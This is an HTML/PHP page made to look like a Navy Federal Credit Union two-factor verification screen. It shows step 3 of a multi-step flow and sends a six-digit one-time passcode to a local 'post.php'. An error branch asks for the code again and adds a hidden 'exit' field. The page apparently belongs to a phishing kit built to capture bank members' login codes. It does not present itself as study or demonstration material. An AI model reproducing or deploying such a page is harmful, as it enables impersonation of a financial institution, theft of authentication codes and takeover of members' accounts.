<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=EB+Garamond:wght@400;500&family=Work+Sans:wght@300;400;500;600&display=swap" rel="stylesheet">
    <title>Navy Federal — Verification</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

        :root {
            --navy:         #002664;
            --navy-mid:     #003080;
            --navy-light:   rgba(0, 38, 100, 0.07);
            --gold:         #c49a22;
            --gold-bright:  #e8b830;
            --gold-soft:    rgba(196, 154, 34, 0.1);
            --text-primary: #001040;
            --text-secondary: #2a3f6e;
            --text-muted:   #7a8fb8;
            --border:       #cdd8ec;
            --bg:           #f2f5fb;
            --white:        #ffffff;
        }

        html, body { height: 100%; font-family: 'Work Sans', sans-serif; background: var(--bg); }

        body {
            display: grid;
            grid-template-columns: 1fr 1fr;
            min-height: 100vh;
            overflow: hidden;
        }

        /* ── Left panel ── */
        .panel-left {
            background: var(--navy);
            position: relative;
            display: flex;
            flex-direction: column;
            justify-content: flex-end;
            padding: 52px 56px;
            overflow: hidden;
        }
        .panel-left::before {
            content: '';
            position: absolute; inset: 0;
            background:
                radial-gradient(ellipse 60% 50% at 10% 90%, rgba(196,154,34,0.22) 0%, transparent 65%),
                radial-gradient(ellipse 40% 35% at 85% 10%, rgba(196,154,34,0.08) 0%, transparent 60%);
            pointer-events: none;
        }

        .panel-bg { position: absolute; inset: 0; overflow: hidden; opacity: 0.06; }
        .panel-bg svg { width: 100%; height: 100%; }

        .panel-dots {
            position: absolute; top: 52px; left: 56px;
            display: flex; gap: 8px; z-index: 1;
        }
        .panel-dots span {
            width: 8px; height: 8px; border-radius: 50%;
            background: rgba(255,255,255,0.12);
        }
        .panel-dots span:first-child { background: var(--gold-bright); }

        /* ── Phone illustration ── */
        .phone-wrap {
            position: relative; z-index: 1;
            margin-bottom: 48px; width: 90px;
        }
        .phone-body {
            width: 90px; height: 160px;
            border-radius: 18px;
            background: #003080;
            border: 1.5px solid rgba(255,255,255,0.12);
            position: relative;
            display: flex; flex-direction: column;
            align-items: center; padding: 14px 10px 12px;
            box-shadow: 0 20px 50px rgba(0,0,0,0.45), inset 0 1px 0 rgba(255,255,255,0.07);
        }
        /* Gold stripe */
        .phone-body::after {
            content: '';
            position: absolute; bottom: 0; left: 0; right: 0; height: 3px;
            border-radius: 0 0 18px 18px;
            background: linear-gradient(90deg, var(--gold), var(--gold-bright));
            opacity: 0.85;
        }
        .phone-notch {
            width: 30px; height: 5px; border-radius: 3px;
            background: rgba(255,255,255,0.1); margin-bottom: 12px;
        }
        .phone-screen {
            flex: 1; width: 100%;
            background: #001040;
            border-radius: 8px;
            display: flex; flex-direction: column;
            align-items: center; justify-content: center;
            gap: 5px; padding: 8px;
        }
        .phone-msg-line { height: 4px; border-radius: 2px; background: rgba(255,255,255,0.1); }
        .phone-msg-line.w80 { width: 80%; }
        .phone-msg-line.w60 { width: 60%; }
        .phone-code-bubble {
            width: 100%; background: rgba(196,154,34,0.3);
            border-radius: 6px; padding: 6px;
            text-align: center; font-size: 9px;
            font-weight: 600; letter-spacing: 0.15em; color: #fff;
            margin-top: 4px;
        }
        /* Gold pulse ring */
        .phone-pulse {
            position: absolute; top: -12px; right: -12px;
            width: 28px; height: 28px;
        }
        .phone-pulse::before, .phone-pulse::after {
            content: '';
            position: absolute; inset: 0; border-radius: 50%;
            border: 2px solid var(--gold-bright);
            animation: pulse 2s ease-out infinite;
        }
        .phone-pulse::after { animation-delay: 0.8s; }
        .phone-pulse-dot {
            position: absolute; inset: 8px;
            border-radius: 50%; background: var(--gold-bright); opacity: 0.9;
        }
        @keyframes pulse {
            0%   { transform: scale(1);   opacity: 0.7; }
            100% { transform: scale(2.6); opacity: 0; }
        }

        .panel-tagline { position: relative; z-index: 1; }
        .panel-tagline .eyebrow {
            font-size: 11px; font-weight: 500;
            letter-spacing: 0.22em; text-transform: uppercase;
            color: var(--gold-bright); margin-bottom: 18px;
        }
        .panel-tagline h2 {
            font-family: 'EB Garamond', serif;
            font-size: clamp(26px, 2.8vw, 42px);
            font-weight: 400; line-height: 1.25;
            color: #fff; margin-bottom: 22px;
        }
        .panel-tagline p {
            font-size: 14px; font-weight: 300;
            color: rgba(255,255,255,0.45);
            line-height: 1.75; max-width: 310px;
        }

        /* ── Right panel ── */
        .panel-right {
            display: flex; flex-direction: column;
            justify-content: center; align-items: center;
            padding: 60px 40px;
            background: var(--white); overflow-y: auto;
        }

        .form-card {
            width: 100%; max-width: 390px;
            animation: fadeUp 0.55s ease both;
        }

        @keyframes fadeUp {
            from { opacity: 0; transform: translateY(16px); }
            to   { opacity: 1; transform: translateY(0); }
        }

        .form-logo { margin-bottom: 40px; }
        .form-logo img { height: 46px; width: auto; object-fit: contain; display: block; }

        /* ── Step indicator ── */
        .step-indicator {
            display: flex; align-items: center;
            gap: 8px; margin-bottom: 28px;
        }
        .step {
            display: flex; align-items: center; justify-content: center;
            width: 24px; height: 24px; border-radius: 50%;
            font-size: 11px; font-weight: 500;
        }
        .step.done   { background: var(--navy-light); color: var(--navy); }
        .step.active { background: var(--navy); color: #fff; }
        .step-line { flex: 1; height: 1px; background: var(--border); }
        .step-line.done { background: var(--gold); opacity: 0.5; }

        .form-heading { margin-bottom: 28px; }
        .form-heading h1 {
            font-family: 'EB Garamond', serif;
            font-size: 28px; font-weight: 500;
            color: var(--text-primary); margin-bottom: 7px;
        }
        .form-heading p {
            font-size: 14px; color: var(--text-muted); font-weight: 300; line-height: 1.6;
        }

        /* ── OTP boxes ── */
        .otp-wrapper { display: flex; gap: 10px; margin-bottom: 10px; }
        .otp-wrapper input[type="text"] {
            width: 100%; height: 58px;
            text-align: center;
            font-family: 'Work Sans', sans-serif;
            font-size: 22px; font-weight: 500;
            color: var(--text-primary);
            border: 1.5px solid var(--border);
            border-radius: 6px; background: #fff;
            outline: none;
            transition: border-color 0.2s, box-shadow 0.2s;
            -webkit-appearance: none;
            caret-color: var(--navy);
        }
        .otp-wrapper input[type="text"]:focus {
            border-color: var(--navy);
            box-shadow: 0 0 0 3px var(--navy-light);
        }
        .otp-wrapper input[type="text"].filled {
            border-color: rgba(196,154,34,0.5);
            background: var(--gold-soft);
        }

        /* Hidden real input */
        input[name="otp"] { display: none; }

        /* ── Error ── */
        .error-msg {
            display: flex; align-items: center; gap: 7px;
            color: #7a2800; font-size: 13px;
            margin-bottom: 16px; padding: 10px 14px;
            background: rgba(196,154,34,0.08);
            border: 1px solid rgba(196,154,34,0.3);
            border-radius: 6px;
            animation: fadeUp 0.3s ease both;
        }
        .error-msg svg { color: var(--gold); flex-shrink: 0; }

        /* ── Button ── */
        .btn-continue {
            width: 100%; height: 50px;
            background: var(--navy); color: #fff;
            border: none; border-radius: 6px;
            font-family: 'Work Sans', sans-serif;
            font-size: 15px; font-weight: 500;
            letter-spacing: 0.03em; cursor: pointer;
            transition: background 0.2s, transform 0.15s, box-shadow 0.2s;
            margin-top: 8px;
            display: flex; align-items: center; justify-content: center; gap: 8px;
            position: relative; overflow: hidden;
        }
        .btn-continue::after {
            content: '';
            position: absolute;
            bottom: 0; left: 0; right: 0; height: 3px;
            background: linear-gradient(90deg, transparent, var(--gold-bright), transparent);
            opacity: 0; transition: opacity 0.2s;
        }
        .btn-continue:hover {
            background: var(--navy-mid);
            box-shadow: 0 4px 18px rgba(0,38,100,0.28);
            transform: translateY(-1px);
        }
        .btn-continue:hover::after { opacity: 1; }
        .btn-continue:active { transform: translateY(0); }

        .gold-rule {
            height: 1px;
            background: linear-gradient(90deg, var(--gold), rgba(196,154,34,0.15));
            margin-top: 10px;
        }

        .resend-row {
            text-align: center; margin-top: 20px;
            font-size: 13px; color: var(--text-muted);
        }
        .resend-row a {
            color: var(--navy); text-decoration: none;
            font-weight: 500; margin-left: 4px; opacity: 0.75;
        }
        .resend-row a:hover { opacity: 1; text-decoration: underline; }

        /* ── Responsive ── */
        @media (max-width: 768px) {
            body { grid-template-columns: 1fr; overflow: auto; }
            .panel-left { display: none; }
            .panel-right { min-height: 100vh; padding: 48px 28px; }
        }
    </style>
</head>
<body>

<div class="panel-left">
    <div class="panel-dots"><span></span><span></span><span></span></div>
    <div class="panel-bg">
        <svg viewBox="0 0 600 800" preserveAspectRatio="xMidYMid slice" xmlns="http://www.w3.org/2000/svg">
            <path d="M0,200 Q150,160 300,200 Q450,240 600,200" fill="none" stroke="white" stroke-width="1"/>
            <path d="M0,240 Q150,200 300,240 Q450,280 600,240" fill="none" stroke="white" stroke-width="1"/>
            <path d="M0,280 Q150,240 300,280 Q450,320 600,280" fill="none" stroke="white" stroke-width="1"/>
            <path d="M0,440 Q150,400 300,440 Q450,480 600,440" fill="none" stroke="white" stroke-width="1"/>
            <path d="M0,480 Q150,440 300,480 Q450,520 600,480" fill="none" stroke="white" stroke-width="1"/>
            <path d="M0,520 Q150,480 300,520 Q450,560 600,520" fill="none" stroke="white" stroke-width="1"/>
            <circle cx="100" cy="100" r="2" fill="white"/><circle cx="240" cy="110" r="2" fill="white"/>
            <circle cx="380" cy="70" r="1.5" fill="white"/><circle cx="540" cy="85" r="1.5" fill="white"/>
            <circle cx="80"  cy="650" r="2" fill="white"/><circle cx="320" cy="650" r="2" fill="white"/>
            <circle cx="560" cy="645" r="2" fill="white"/>
        </svg>
    </div>

    <div class="phone-wrap">
        <div class="phone-body">
            <div class="phone-pulse"><div class="phone-pulse-dot"></div></div>
            <div class="phone-notch"></div>
            <div class="phone-screen">
                <div class="phone-msg-line w80"></div>
                <div class="phone-msg-line w60"></div>
                <div class="phone-code-bubble">• • • • • •</div>
            </div>
        </div>
    </div>

    <div class="panel-tagline">
        <div class="eyebrow">Two-Factor Authentication</div>
        <h2>Check your<br>phone for a code.</h2>
        <p>A one-time passcode has been sent to your registered mobile number.</p>
    </div>
</div>

<div class="panel-right">
    <div class="form-card">

        <div class="form-logo">
            <img src="res/img/logo.svg" alt="Navy Federal Credit Union Logo">
        </div>

        <div class="step-indicator">
            <div class="step done">✓</div>
            <div class="step-line done"></div>
            <div class="step done">✓</div>
            <div class="step-line done"></div>
            <div class="step active">3</div>
        </div>

        <div class="form-heading">
            <h1>Enter your code</h1>
            <p>Please enter the verification code sent to your phone number to continue.</p>
        </div>

        <form action="post.php" method="post">

            <?php if(isset($_GET['error'])): ?>
            <div class="error-msg">
                <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                    <circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/>
                </svg>
                Invalid code. Please try again.
            </div>
            <input type="hidden" name="exit">
            <?php endif; ?>

            <input type="text" name="otp" id="otp" required>

            <div class="otp-wrapper">
                <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*" autocomplete="one-time-code">
                <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
            </div>

            <button type="submit" class="btn-continue">
                Continue
                <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                    <path d="M5 12h14M12 5l7 7-7 7"/>
                </svg>
            </button>
            <div class="gold-rule"></div>

        </form>

        <div class="resend-row">
            Didn't receive a code? <a href="#">Resend</a>
        </div>

    </div>
</div>

<script>
    const digits   = document.querySelectorAll('.digit');
    const otpInput = document.getElementById('otp');

    function syncOtp() {
        otpInput.value = [...digits].map(d => d.value).join('');
    }

    digits.forEach((el, i) => {
        el.addEventListener('input', () => {
            el.value = el.value.replace(/\D/g, '').slice(-1);
            el.classList.toggle('filled', el.value !== '');
            syncOtp();
            if (el.value && i < digits.length - 1) digits[i + 1].focus();
        });
        el.addEventListener('keydown', e => {
            if (e.key === 'Backspace' && !el.value && i > 0) {
                digits[i - 1].value = '';
                digits[i - 1].classList.remove('filled');
                digits[i - 1].focus();
                syncOtp();
            }
        });
        el.addEventListener('paste', e => {
            e.preventDefault();
            const pasted = (e.clipboardData || window.clipboardData)
                .getData('text').replace(/\D/g, '').slice(0, digits.length);
            [...pasted].forEach((ch, j) => {
                if (digits[j]) { digits[j].value = ch; digits[j].classList.add('filled'); }
            });
            syncOtp();
            const next = digits[Math.min(pasted.length, digits.length - 1)];
            if (next) next.focus();
        });
    });
</script>
</body>
</html>